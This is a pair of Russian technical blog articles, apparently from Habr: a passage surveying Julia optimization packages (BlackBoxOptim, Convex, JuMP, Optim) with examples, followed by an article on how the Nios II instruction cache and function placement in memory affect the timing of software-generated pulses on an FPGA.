и еще много неудобочитаемых данных, но минимум нашелся. Так как используется стохастика, вызовов функции будет многовато, так что для многомерных задач лучше использовать подбор методов
```
function rosenbrock(x)
return( sum( 100*( x[2:end] - x[1:end-1].^2 ).^2 + ( x[1:end-1] - 1 ).^2 ) )
end
res = compare_optimizers(rosenbrock; SearchRange = (-5.0, 5.0), NumDimensions = 30, MaxTime = 3.0);
```
Convex
------
[Convex](https://github.com/JuliaOpt/Convex.jl) — это пакет Julia для Disciplined Convex Programming (дисциплинарного выпуклого программирования?). Convex.jl может решать линейные программы, смешанные целочисленные линейные программы и DCP-совместимые выпуклые программы, используя различные решатели, включая Mosek, Gurobi, ECOS, SCS и GLPK, через интерфейс MathProgBase. Он также поддерживает оптимизацию с комплексными переменными и коэффициентами.
```
using Pkg # просто другой способ загрузки пакетов
Pkg.add("Convex")
Pkg.add("SCS")
```
На сайте есть много примеров: Томография (процесс восстановления распределения плотности по заданным интегралам по участкам распределения. Например можно работать с томографией на черно-белых изображениях), максимизация энтропии, логистическая регрессия, линейное программирование и т. д.
Например нужно удовлетворить условиям:
```
using Convex, SCS, LinearAlgebra
x = Variable(4)
p = satisfy(norm(x) <= 100, exp(x[1]) <= 5, x[2] >= 7, geomean(x[3], x[4]) >= x[2])
solve!(p, SCSSolver(verbose=0))
println(p.status)
x.value
```
Даст ответ
```
Optimal
4×1 Array{Float64,2}:
0.0
8.554892320716046
15.329934133156783
15.329934133156783
```
JuMP
----
[JuMP](https://github.com/JuliaOpt/JuMP.jl) является предметно-ориентированным языком моделирования для математической оптимизации, встроенным в Julia. В настоящее время он поддерживает ряд открытых и коммерческих солверов (Artelys Knitro, BARON, Bonmin, Cbc, Clp, Couenne, CPLEX, ECOS, FICO Xpress, GLPK, Gurobi, Ipopt, MOSEK, NLopt, SCS).
JuMP позволяет легко определять и решать задачи оптимизации без экспертных знаний, но в то же время позволяет экспертам внедрять передовые алгоритмические методы, такие как использование эффективных «горячих» стартов в линейном программировании или использование обратных вызовов для взаимодействия с решателями ветвей и границ. JuMP также быстр — бенчмаркинг показал, что он может справляться с вычислениями на скоростях, аналогичных специализированным коммерческим инструментам, таким как AMPL, при сохранении выразительности универсального языка программирования высокого уровня. JuMP может быть легко встроен в сложные рабочие процессы, включая симуляции и веб-серверы.
Данный инструмент позволяет без глубоких знаний справляться с такими задачами как:
* LP = линейное программирование
* QP = квадратичное программирование
* SOCP = коническое программирование второго порядка (включая задачи с выпуклыми квадратичными ограничениями и / или целью)
* MILP = Смешанное целочисленное линейное программирование
* НЛП = Нелинейное программирование
* MINLP = смешанно-целочисленное нелинейное программирование
* SDP = полуопределенное программирование
* MISDP = смешанно-целочисленное полуопределенное программирование
Разбора его возможностей хватит на несколько статей, поэтому пока перейдем к следующему:
Optim
-----
[Optim](https://github.com/JuliaNLSolvers/Optim.jl) Есть много решателей, доступных как из бесплатных, так и из коммерческих источников, и многие уже обернуты для использования в Julia. Немногие из них написаны на этом языке. С точки зрения производительности это редко является проблемой, так как они часто пишутся либо на Fortran, либо на C. Однако решатели, написанные непосредственно на Julia, действительно имеют некоторые преимущества.
При написании программного обеспечения (пакетов) Julia, для которого требуется что-то оптимизировать, программист может либо написать свою собственную процедуру оптимизации, либо использовать один из многих доступных решателей. Например, это может быть что-то из набора NLOpt. Это означает добавление зависимости, которая не написана в Julia, и необходимо сделать больше предположений относительно среды, в которой находится пользователь. Есть ли у пользователя надлежащие компиляторы? Можно ли использовать код GPL в проекте?
Также верно и то, что использование решателя, написанного на C или Fortran, делает невозможным использование одного из главных преимуществ Julia: множественная диспетчеризация. Поскольку Optim полностью написан на языке Julia, в настоящее время мы можем использовать систему диспетчеризации, чтобы упростить использование пользовательских преднастроек. Планируемая особенность в этом направлении заключается в том, чтобы позволить управляемый пользователем выбор решателей для различных этапов алгоритма, полностью основанный на диспетчеризации, а не на предопределенных возможностях, выбранных разработчиками Optim.
Пакет на Julia также означает, что Optim имеет доступ к функциям автоматического дифференцирования через пакеты в [JuliaDiff](https://github.com/JuliaDiff).
[Руководство](http://julianlsolvers.github.io/Optim.jl/stable/)
Приступим:
```
]add Optim
using Optim
# функция Розенброка
f(x) = (1.0 - x[1])^2 + 100.0 * (x[2] - x[1]^2)^2
x0 = [0.0, 0.0]
optimize(f, x0)
```
Получим ответ с удобным отчетом:
```
Results of Optimization Algorithm
* Algorithm: Nelder-Mead # по умолчанию
* Starting Point: [0.0,0.0]
* Minimizer: [0.9999634355313174,0.9999315506115275]
* Minimum: 3.525527e-09
* Iterations: 60
* Convergence: true
* √(Σ(yᵢ-ȳ)²)/n < 1.0e-08: true
* Reached Maximum Number of Iterations: false
* Objective Calls: 118
```
А сравним-ка с моим Нелдером-Мидом!
**спойлер**Мой окажется медленнее :(
**Упрятано**
```
using BenchmarkTools
@benchmark optimize(f, x0)
BenchmarkTools.Trial:
memory estimate: 11.00 KiB
allocs estimate: 419
--------------
minimum time: 39.078 μs (0.00% GC)
median time: 43.420 μs (0.00% GC)
mean time: 53.024 μs (15.02% GC)
maximum time: 59.992 ms (99.83% GC)
--------------
samples: 10000
evals/sample: 1
```
По ходу проверки еще и выяснилось, что моя реализация не работает, если использовать начальным приближением (0, 0). В качестве критерия остановки можно использовать [объем симплекса](https://moluch.ru/archive/82/15086/), у меня же используется норма матрицы составленной из вершин. [Здесь можно почитать](https://matworld.ru/matrix/matrix-norm.php) про геометрическую интерпретацию нормы. В обоих случаях получается матрица из нулей — частный случай вырожденной матрицы, поэтому метод не выполняет ни одного шага. Вы можете настроить создание стартового симплекса, например, задавая удаленность его вершин от начального приближения (а не как у меня — половина длины вектора, фу, какой позор...), тогда настройка метода будет более гибкой, либо проследить, чтобы все вершины не сидели в одной точке:
```
for i = 1:N+1
Xx[:,i] = fit
end
for i = 1:N
Xx[i,i] += 0.5*vecl(fit) + ε
end
```
Ну да, мой симплекс горааааздо медленнее:
```
ofNelderMid(fit = [0, 0.])
step= 118 7.7234e-5 f = 2.797-18 x = [1.0, 1.0]
@benchmark ofNelderMid(fit = [0., 0.])
BenchmarkTools.Trial:
memory estimate: 394.03 KiB
allocs estimate: 6632
--------------
minimum time: 717.221 μs (0.00% GC)
median time: 769.325 μs (0.00% GC)
mean time: 854.644 μs (5.04% GC)
maximum time: 50.429 ms (98.01% GC)
--------------
samples: 5826
evals/sample: 1
```
Теперь больше резона вернуться к изучению пакета
Можно выбирать используемый метод:
```
optimize(f, x0, LBFGS())
Results of Optimization Algorithm
* Algorithm: L-BFGS
* Starting Point: [0.0,0.0]
* Minimizer: [0.9999999926662504,0.9999999853325008]
* Minimum: 5.378388e-17
* Iterations: 24
* Convergence: true
* |x - x'| ≤ 0.0e+00: false
|x - x'| = 4.54e-11
* |f(x) - f(x')| ≤ 0.0e+00 |f(x)|: false
|f(x) - f(x')| = 5.30e-03 |f(x)|
* |g(x)| ≤ 1.0e-08: true
|g(x)| = 9.88e-14
* Stopped by an increasing objective: false
* Reached Maximum Number of Iterations: false
* Objective Calls: 67
* Gradient Calls: 67
```
и получить на него детальную документацию и ссылочки на литературу
```
?LBFGS()
```
Можно задать [Якобиан](https://ru.wikipedia.org/wiki/%D0%AF%D0%BA%D0%BE%D0%B1%D0%B8%D0%B0%D0%BD) и [Гессиан](https://ru.wikipedia.org/wiki/%D0%93%D0%B5%D1%81%D1%81%D0%B8%D0%B0%D0%BD_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D0%B8) функции
```
function g!(G, x)
G[1] = -2.0 * (1.0 - x[1]) - 400.0 * (x[2] - x[1]^2) * x[1]
G[2] = 200.0 * (x[2] - x[1]^2)
end
function h!(H, x)
H[1, 1] = 2.0 - 400.0 * x[2] + 1200.0 * x[1]^2
H[1, 2] = -400.0 * x[1]
H[2, 1] = -400.0 * x[1]
H[2, 2] = 200.0
end
optimize(f, g!, h!, x0)
Results of Optimization Algorithm
* Algorithm: Newtons Method
* Starting Point: [0.0,0.0]
* Minimizer: [0.9999999999999994,0.9999999999999989]
* Minimum: 3.081488e-31
* Iterations: 14
* Convergence: true
* |x - x'| ≤ 0.0e+00: false
|x - x'| = 3.06e-09
* |f(x) - f(x')| ≤ 0.0e+00 |f(x)|: false
|f(x) - f(x')| = 3.03e+13 |f(x)|
* |g(x)| ≤ 1.0e-08: true
|g(x)| = 1.11e-15
* Stopped by an increasing objective: false
* Reached Maximum Number of Iterations: false
* Objective Calls: 44
* Gradient Calls: 44
* Hessian Calls: 14
```
Как видно, автоматически отработал метод Ньютона. А вот так можно задать область поиска и воспользоваться градиентным спуском:
```
lower = [1.25, -2.1]
upper = [Inf, Inf]
initial_x = [2.0, 2.0]
inner_optimizer = GradientDescent()
results = optimize(f, g!, lower, upper, initial_x, Fminbox(inner_optimizer))
Results of Optimization Algorithm
* Algorithm: Fminbox with Gradient Descent
* Starting Point: [2.0,2.0]
* Minimizer: [1.2500000000000002,1.5625000000000004]
* Minimum: 6.250000e-02
* Iterations: 8
* Convergence: true
* |x - x'| ≤ 0.0e+00: true
|x - x'| = 0.00e+00
* |f(x) - f(x')| ≤ 0.0e+00 |f(x)|: true
|f(x) - f(x')| = 0.00e+00 |f(x)|
* |g(x)| ≤ 1.0e-08: false
|g(x)| = 5.00e-01
* Stopped by an increasing objective: false
* Reached Maximum Number of Iterations: false
* Objective Calls: 84382
* Gradient Calls: 84382
```
Ну или не знаю, скажем, Вы захотели решить уравнение
```
f_univariate(x) = 2x^2+3x+1
optimize(f_univariate, -2.0, 1.0)
Results of Optimization Algorithm
* Algorithm: Brents Method
* Search Interval: [-2.000000, 1.000000]
* Minimizer: -7.500000e-01
* Minimum: -1.250000e-01
* Iterations: 7
* Convergence: max(|x - x_upper|, |x - x_lower|) <= 2*(1.5e-08*|x|+2.2e-16): true
* Objective Function Calls: 8
```
а он подобрал Вам [Метод Брента](https://en.wikipedia.org/wiki/Brent%27s_method).
Или имея экспериментальные данные нужно оптимизировать коэффициенты модели
```
F(p, x) = p[1]*cos(p[2]*x) + p[2]*sin(p[1]*x)
model(p) = sum( [ (F(p, xdata[i]) - ydata[i])^2 for i = 1:length(xdata)] )
xdata = [-2,-1.64,-1.33,-0.7,0,0.45,1.2,1.64,2.32,2.9]
ydata = [0.699369,0.700462,0.695354,1.03905,1.97389,2.41143,1.91091,0.919576,-0.730975,-1.42001]
res2 = optimize(model, [1.0, 0.2])
Results of Optimization Algorithm
* Algorithm: Nelder-Mead
* Starting Point: [1.0,0.2]
* Minimizer: [1.8818299027162517,0.7002244825046421]
* Minimum: 5.381270e-02
* Iterations: 34
* Convergence: true
* √(Σ(yᵢ-ȳ)²)/n < 1.0e-08: true
* Reached Maximum Number of Iterations: false
* Objective Calls: 71
```
```
P = Optim.minimizer(res2)
Y = [ F(P, x) for x in xdata]
using Plots
plotly()
plot(xdata, ydata)
plot!(xdata, Y)
```
Бонус. Создание своей тестовой функции
--------------------------------------
Использована [идея с хабровской статьи](https://habr.com/ru/post/349660/). Можно самому настроить каждый локальный минимум:
```
"""
https://habr.com/ru/post/349660/
:param n: количество экстремумов
:param a: список коэффициентов крутости экстремумов, чем выше значения,
тем быстрее функция убывает/возрастает и тем уже область экстремума
:param c: список координат экстремумов
:param p: список степеней гладкости в районе экстремума
:param b: список значений функции
:return: возвращает функцию, которой необходимо передавать одномерный список
координат точки, возвращаемая функция вернет значение тестовой функции в данной точке
"""
function feldbaum(x; n=5,
a=[3 2; 4 3; 2 1; 4 5; .5 .5],
c=[-1 2; 2 1; -3 2; -2 -2; 1.5 -2],
p=[9 6; 1 1; 1.5 1.4; 1.2 1.3; 0.5 0.5],
b=[0 1 3.2 2 4.6])
l = zeros(n)
for i = 1:n
res = 0
for j = 1:size(x,1)
res += a[i,j] * abs(x[j] - c[i,j]) ^ p[i,j]
end
res += b[i]
l[i] = res
end
minimum(l)
end
```
А можно всё предоставить воле всемогущего рандома
```
n=10
m = 2
a = rand(0:0.1:6, n, m)
c = rand(-2:0.1:2, n, m)
p = rand(0:0.1:2, n, m)
b = rand(0:0.1:8, n, m)
function feldbaum(x)
l = zeros(n)
for i = 1:n
res = 0
for j = 1:m
res += a[i,j] * abs(x[j] - c[i,j]) ^ p[i,j]
end
res += b[i]
l[i] = res
end
minimum(l)
end
```
Но как видно из стартовой картинки рой частиц таким рельефом не запугаешь.
На этом следует закончить. Как можно убедиться Julia обладает довольно мощным и современным математическим окружением позволяющим проводить сложные численные исследования не опускаясь до низкоуровневых абстракций программирования. А это отличный повод продолжить изучение данного языка.
Всем удачной оптимизации! | https://habr.com/ru/post/440618/ | null | ru | null |
# Методы оптимизации кода для Redd. Часть 1: влияние кэша
В [первой статье](https://habr.com/ru/post/452656/) цикла я активно продвигал идею, что разработка кода под Redd вторична, а первичен основной проект. Redd — вспомогательный инструмент, так что тратить на него уйму времени неправильно. То есть разработка под него должна идти быстро. Но это совсем не значит, что получившиеся программы должны быть неоптимальны. Собственно, если их совсем не оптимизировать, то просто мощности аппаратуры не хватит, чтобы реализовать нужную тестовую систему. Поэтому процесс, как я и сказал, должен быть быстрым и непринуждённым, но вот некоторые принципы оптимизации разработчик должен всегда держать в уме.
Про оптимизацию изданы толстые книжки. Часть этих книжек полезна, часть уже устарела, так как описанные в них принципы давно перекочевали на этап автоматической оптимизации при сборке кода… Но существуют некоторые вещи, которые не имеют никакой ценности при разработке обычных программ под обычные процессоры, поэтому в типовых книжках обычно не описывается. Их мы сейчас и начнём рассматривать.
Введение
--------
До сих пор я писал по принципу «одна проблема — одна статья». И статьи получались в формате лекций, затрагивая сразу несколько тем, объединённых общей проблемой. Но некоторые читатели сказали, что такие статьи невозможно прочесть за один заход. Поэтому теперь попробуем в одной статье рассказывать только об одной теме. Мне же тоже проще так писать. Посмотрим, вдруг будет удобней для всех.
Также, порадуем таинственных минусаторов. Если статья публикуется утром, то первый минус за неё прилетает через промежуток времени, за который весь текст прочесть невозможно. Кто-то делает это чисто из принципа, пощадив только темы про UDB и балалайку. Если публикация прошла не утром, а днём, то он кидает минус с задержкой. Второй минус прилетает в течение дня (и тот товарищ, кстати, тоже пощадил темы про UDB и про балалайку). В новом формате будет больше статей, а значит — больше приятных моментов для этой парочки (хотя, лично мне, как автору, от их действий становится грустно и обидно).
Предыдущие статьи цикла:
1. [Разработка простейшей «прошивки» для ПЛИС, установленной в Redd, и отладка на примере теста памяти.](https://habr.com/ru/post/452656/)
2. [Разработка простейшей «прошивки» для ПЛИС, установленной в Redd. Часть 2. Программный код.](https://habr.com/ru/post/453682/)
3. [Разработка собственного ядра для встраивания в процессорную систему на базе ПЛИС.](https://habr.com/ru/post/454938/)
4. [Разработка программ для центрального процессора Redd на примере доступа к ПЛИС.](https://habr.com/ru/post/456008/)
5. [Первые опыты использования потокового протокола на примере связи ЦП и процессора в ПЛИС комплекса Redd.](https://habr.com/ru/post/462253/)
6. [Веселая Квартусель, или как процессор докатился до такой жизни.](https://habr.com/ru/post/464795/)
Таинственное поведение типовой системы
--------------------------------------
Давайте сделаем самую что ни на есть простейшую процессорную систему, включив в неё тактовый генератор, процессор Nios II/f, контроллер SDRAM и порт вывода. Вот так по-спартански эта система выглядит в Platform Designer
Программный код для неё будет содержать всего одну функцию, тело которой выглядит несколько странно, так как содержит много повторяющихся строк, но нам это пригодится.
**Код скрыт, так как он чересчур затянут.**
```
extern "C"
{
#include "sys/alt_stdio.h"
#include
#include
}
void MagicFunction()
{
while (1)
{
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
}
}
int main()
{
MagicFunction();
/\* Event loop never exits. \*/
while (1);
return 0;
}
```
Поставим точку останова на последнюю из строк:
```
IOWR (PIO_0_BASE,0,0);
```
в функции **MagicFunction** и запустим программу. Что мы получили на выходе порта? Очень рваные импульсы:
Ужас? Ну да. Однако нажмём на «запуск» ещё раз, чтобы отработала ещё одна итерация цикла. И теперь на выходе видим красивый ровный меандр:
Ещё одна итерация. И ещё одна… Стабильный меандр. Снимаем точку останова и смотрим работу в динамике — больше подобных разрывов нет. Идут бесконечные пачки импульсов.
Почему же у нас были рваные импульсы при первом проходе? Случайность? Нет. Останавливаем отладку и запускаем её заново. И вновь получаем рваные импульсы. Разрывы у нас возникают всегда при входе в программу.
Разгадка кроется в кэше
-----------------------
Собственно, разгадка такого поведения кроется в кэше. Программа у нас хранится в SDRAM. Выборка кода из SDRAM — дело не быстрое. Надо подать команду чтения, надо подать адрес, причём адрес состоит из двух частей. Надо немного подождать. Только потом микросхема выдаст наружу данные. Чтобы не возникало подобных задержек каждый раз, микросхема может выдать не одно, а несколько подряд идущих слов. Временные диаграммы сегодня рассматривать не будем, отложим это на следующие статьи.
Ну, а со стороны процессорного ядра нам по умолчанию был создан кэш. Вот его настройки:
Собственно, задержки возникают в момент, когда идёт пакетная загрузка инструкций из SDRAM в кэш-память. При следующих итерациях код уже находится в кэше, так что подгрузка уже не требуется.
На осциллограмме видно в среднем 8 записей в порт (4 раза пишется единица и 4 раза — ноль) на одну операцию подгрузки. Одна запись — одна команда ассемблера, что можно выяснить, выбрав пункт меню Window->Show View->Other:
а затем — Debug->Disassembly:
Вот наши сишные строки и соответствующий им ассемблерный код:
8 команд по 4 байта. Получаем 32 байта на строку кэша… Заглядываем в наш любимый справочный файл C:\Work\CachePlay\software\CachePlay\_bsp\system.h и видим:
```
#define ALT_CPU_ICACHE_LINE_SIZE 32
#define ALT_CPU_ICACHE_LINE_SIZE_LOG2 5
```
Практически вычисленные данные совпали с теорией. Причём из документации следует, что размер строки не может быть изменён. Он всегда равен тридцати двум байтам.
Чуть более сложный эксперимент
------------------------------
Попробуем спровоцировать кэш на перезагрузку во время устоявшейся работы. Давайте чуть изменим тестовую программу. Сделаем две функции и будем вызывать их из функции **main()**, поместив цикл в неё. Точку останова я ставить не буду. Кстати, если сделать функции полностью идентичными, оптимизатор заметит это и уберёт одну из них, так что хотя бы одной строкой, а различаться они должны… Это к тому, что я писал в начале: оптимизаторы нынче очень умны.
**Измененный код тестовой программы.**
```
extern "C"
{
#include "sys/alt_stdio.h"
#include
#include
}
void MagicFunction1()
{
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
}
void MagicFunction2()
{
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
IOWR (PIO\_0\_BASE,0,0);
IOWR (PIO\_0\_BASE,0,1);
}
int main()
{
while (1)
{
MagicFunction1();
MagicFunction2();
}
/\* Event loop never exits. \*/
while (1);
return 0;
}
```
Получаем достаточно красивый результат, снятый уже в устоявшемся режиме работы программы.
А теперь поместим между этой парой функций какую-нибудь новую, причём вызывать её мы не будем, она просто будет размещаться между ними в памяти. Сейчас попробую сделать так, чтобы она заняла побольше места… Размер кэша у нас равен 4 килобайта, вот и сделаем её равной четырём килобайтам… Просто вставим 1024 NOP-а, каждый из которых имеет размер 4 байта. Я покажу конец первой функции, новую функцию и начало второй, чтобы было ясно, как изменяется программа:
```
...
IOWR (PIO_0_BASE,0,0);
IOWR (PIO_0_BASE,0,1);
IOWR (PIO_0_BASE,0,0);
IOWR (PIO_0_BASE,0,1);
IOWR (PIO_0_BASE,0,0);
}
#define Nops4 __asm__ volatile ("nop");__asm__ volatile ("nop");__asm__ volatile ("nop");__asm__ volatile ("nop");
#define Nops16 Nops4 Nops4 Nops4 Nops4
#define Nops64 Nops16 Nops16 Nops16 Nops16
#define Nops256 Nops64 Nops64 Nops64 Nops64
#define Nops1024 Nops256 Nops256 Nops256 Nops256
volatile void FuncBetween()
{
Nops1024
}
void MagicFunction2()
{
IOWR (PIO_0_BASE,0,0);
IOWR (PIO_0_BASE,0,1);
IOWR (PIO_0_BASE,0,0);
IOWR (PIO_0_BASE,0,1);
IOWR (PIO_0_BASE,0,0);
...
```
Логика работы программы не изменилась, но при прогоне теперь получаем рваные импульсы
Задам наивный вопрос: мы вылетели за кэш, и теперь, по мере увеличения разрыва, всегда будет идти подгрузка? Вовсе нет! Поменяем размер «плохой» функции, сделав её равной, скажем, пяти килобайтам. Пять больше, чем четыре, мы по-прежнему вылетаем? Или нет? Заменяем вставку на такую:
```
volatile void FuncBetween()
{
Nops1024
Nops256
}
```
И вновь получим красоту:
Так от чего же зависит необходимость подгрузки кода в кэш? Можем ли мы предсказать что-либо, или каждый раз надо смотреть по факту? Углубимся в теорию, в чём нам поможет документ **Nios II Processor Reference Guide**.
Немного теории
--------------
Вот так в процессоре расщепляется поле адреса:
Как видим, адрес разбит на три части. Тэг, строка и смещение. Размерность поля «смещение» постоянна для процессора Nios II и всегда равна пяти битам, то есть она может адресовать 32 байта. Размерность поля «строка» зависит от объёма кэша, заданного при конфигурировании процессора. На приведённом рисунке она достаточно велика. Я не знаю, почему в документе у неё такая огромная размерность. У нас размер кэша равен 4 килобайта, значит суммарная разрядность строки и смещения равна 12 битам. 5 бит занимает смещение, для строки остаётся 12-5=7 бит.
Получаем некую таблицу из 128 строк, по 32 байта длиной каждая. Я приведу, скажем, первые 6 строк:
| Поле «тэг» | Поле «строка» | Младшие биты адреса | Куда попадёт |
| --- | --- | --- | --- |
| Не важно | 0x00 | От 0x000 до 0x01F | В строку 0 кэша |
| Не важно | 0x01 | От 0x020 до 0x03F | В строку 1 кэша |
| Не важно | 0x02 | От 0x040 до 0x05F | В строку 2 кэша |
| Не важно | 0x03 | От 0x060 до 0x07F | В строку 3 кэша |
| Не важно | 0x04 | От 0x080 до 0x09F | В строку 4 кэша |
| Не важно | 0x05 | От 0x0A0 до 0x0BF | В строку 5 кэша |
| ... | ... | ... | ... |
| Не важно | 0x7F | От 0xFE0 до 0xFFF | в строку 127 кэша |
И вот мы обратились к адресу 0x123**004**. Если отбросить часть «не важно», пара «строка + смещение» равны 0x004. Это диапазон нулевой строки. Данные будут загружены в эту строку. И дальше работа с данными из диапазона 0x123**000** до 0x123**01F** будет работать через кэш. При каких условиях строка будет перегружена? При обращении к любому другому адресу, кончающемуся на диапазон от 0x000 до 0x01F. Ну, то есть, если мы обратимся к адресу 0xABC**204**, всё останется на месте, ведь диапазон младших адресов не пересекается с нашим. И 0xABC**804** ничего не испортит. А вот при исполнении кода с адреса 0xABC**004** приведёт к тому, что в строку кэша будет загружено новое содержимое. И уже переход на адрес 0x123**004** вновь приведёт к перегрузке. Если постоянно прыгать между 0xABC**004** и 0x123**004**, перегрузка будет происходить постоянно.
Попробуем изобразить это в виде рисунка. Пусть у нас в кэше есть всего 8 строк, так удобнее раскрасить их в разные цвета. Размер строки я сделаю 0x10, так удобнее расписать адреса на рисунке (помним, что в реальном Nios II размер строки всегда 0x20 байт). Память бьётся на условные страницы, имеющие такой же размер, что и строки кэша. Красная страница памяти всегда попадёт в красную строку кэша, оранжевая — в оранжевую, ну и так далее. Соответственно, старое содержимое будет выгружено.
Ну, собственно, теперь понятно поведение программы при эксперименте. Когда функции были разнесены строго на 4 килобайта, они попали в страницы сходных цветов. Поэтому код
```
while (1)
{
MagicFunction1();
MagicFunction2();
}
```
приводил к загрузке кэша то ради одной, то ради другой функции. А когда разнос составил не 4, а 5 килобайт, функции были разнесены в блоки разных цветов. Конфликт отсутствовал, всё работало без задержек.
Выводы
------
Когда много лет назад я прочёл, что существуют линейки ядер Cortex A, Cortex R и Cortex M, рассчитанные на производительные вещи, на работу в реальном времени и на работу в дешёвых системах соответственно, сначала я не понял, а в чём, собственно, разница. Нет, дешёвые системы — это понятно, но вот первые два чем различаются? Однако, поиграв в ядро Cortex A9, имеющееся в ПЛИС Cyclone V SoC, я прочувствовал все недостатки кэша при работе с железом. В ядре Cortex A кэшей много… И предсказуемость поведения системы практически нулевая. Но зато кэш поднимает производительность. Иногда лучше, если всё работает не предсказуемо с точностью до такта, но быстро, чем предсказуемо медленно. Особенно это касается вычислений или, скажем, отображения графики.
Самая же главная проблема состоит не в том, что описанные в статье вещи возникают, а в том, что от сборки к сборке поведение системы будет изменяться, так как, на какие адреса ляжет функция после добавления или удаления кода, не знает никто. 15 лет назад в проекте эмулятора игровой приставки Sega для декодера кабельного телевидения нам пришлось делать целый препроцессор, который после каждой правки двигал функции, эмулирующие команды ассемблера Motorola на ядре SPARC-8 так, чтобы у них время выполнения было всегда одним и тем же (там за счёт кэша иначе всё сильно плавало).
Но когда нам нужна предсказуемость? Разумеется, при формировании временных диаграмм программным путём (помним, что вообще в ПЛИС можно поручить это и аппаратуре, но при быстрой разработке бывают и частности). А вот при работе вычислительных алгоритмов она не так важна. Разве что алгоритм сложный, тогда надо быть уверенным, что критичные участки не вызывают постоянной перегрузки кэша. В большинстве же случаев, кэш проблем не создаёт, а производительность — повышает.
В следующей статье мы рассмотрим, как можно вынести критичные к предсказуемости функции в некэшируемую память, всегда работающую на максимальной скорости, а также обсудим неявные преимущества ПЛИС перед стандартными системами, вытекающие из применённых при этом технологий.
Для самых внимательных
----------------------
У въедливого читателя может возникнуть вопрос: «А почему при вставке четырёх килобайт кода осциллограмма была недостаточно рваной?» Всё просто. Если вставлять ровно 4 килобайта, то получаем следующие адреса размещения функций в памяти:
```
MagicFunction1():
0200006c: movhi r2,1024
02000070: movi r4,1
02000074: addi r2,r2,4096
02000078: stwio r4,0(r2)
92 IOWR (PIO_0_BASE,0,0);
0200007c: mov r3,zero
02000080: stwio r3,0(r2)
93 IOWR (PIO_0_BASE,0,1);
...
120 IOWR (PIO_0_BASE,0,0);
020000f0: stwio r3,0(r2)
020000f4: ret
131 Nops1024
FuncBetween():
020000f8: nop
020000fc: nop
02000100: nop
02000104: nop
...
020010ec: nop
020010f0: nop
020010f4: nop
020010f8: ret
135 IOWR (PIO_0_BASE,0,0);
MagicFunction2():
020010fc: movhi r2,1024
02001100: mov r4,zero
02001104: addi r2,r2,4096
```
Для идеально плохой осциллограммы надо вставить NOP-ов так, чтобы 4 килобайта составил их объём вместе с длиной функции **MagicFunction1()**. На что ни пойдёшь ради красивой картинки! Меняем вставку на такую:
```
volatile void FuncBetween()
{
Nops256 Nops256 Nops256
Nops64 Nops64 Nops64
Nops16 Nops16
}
```
Ещё и ещё раз обращаю внимание, что вставка не получает управления. Она просто меняет положение функций в памяти друг относительно друга. При такой вставке получаем желаемый ужасный ужас:
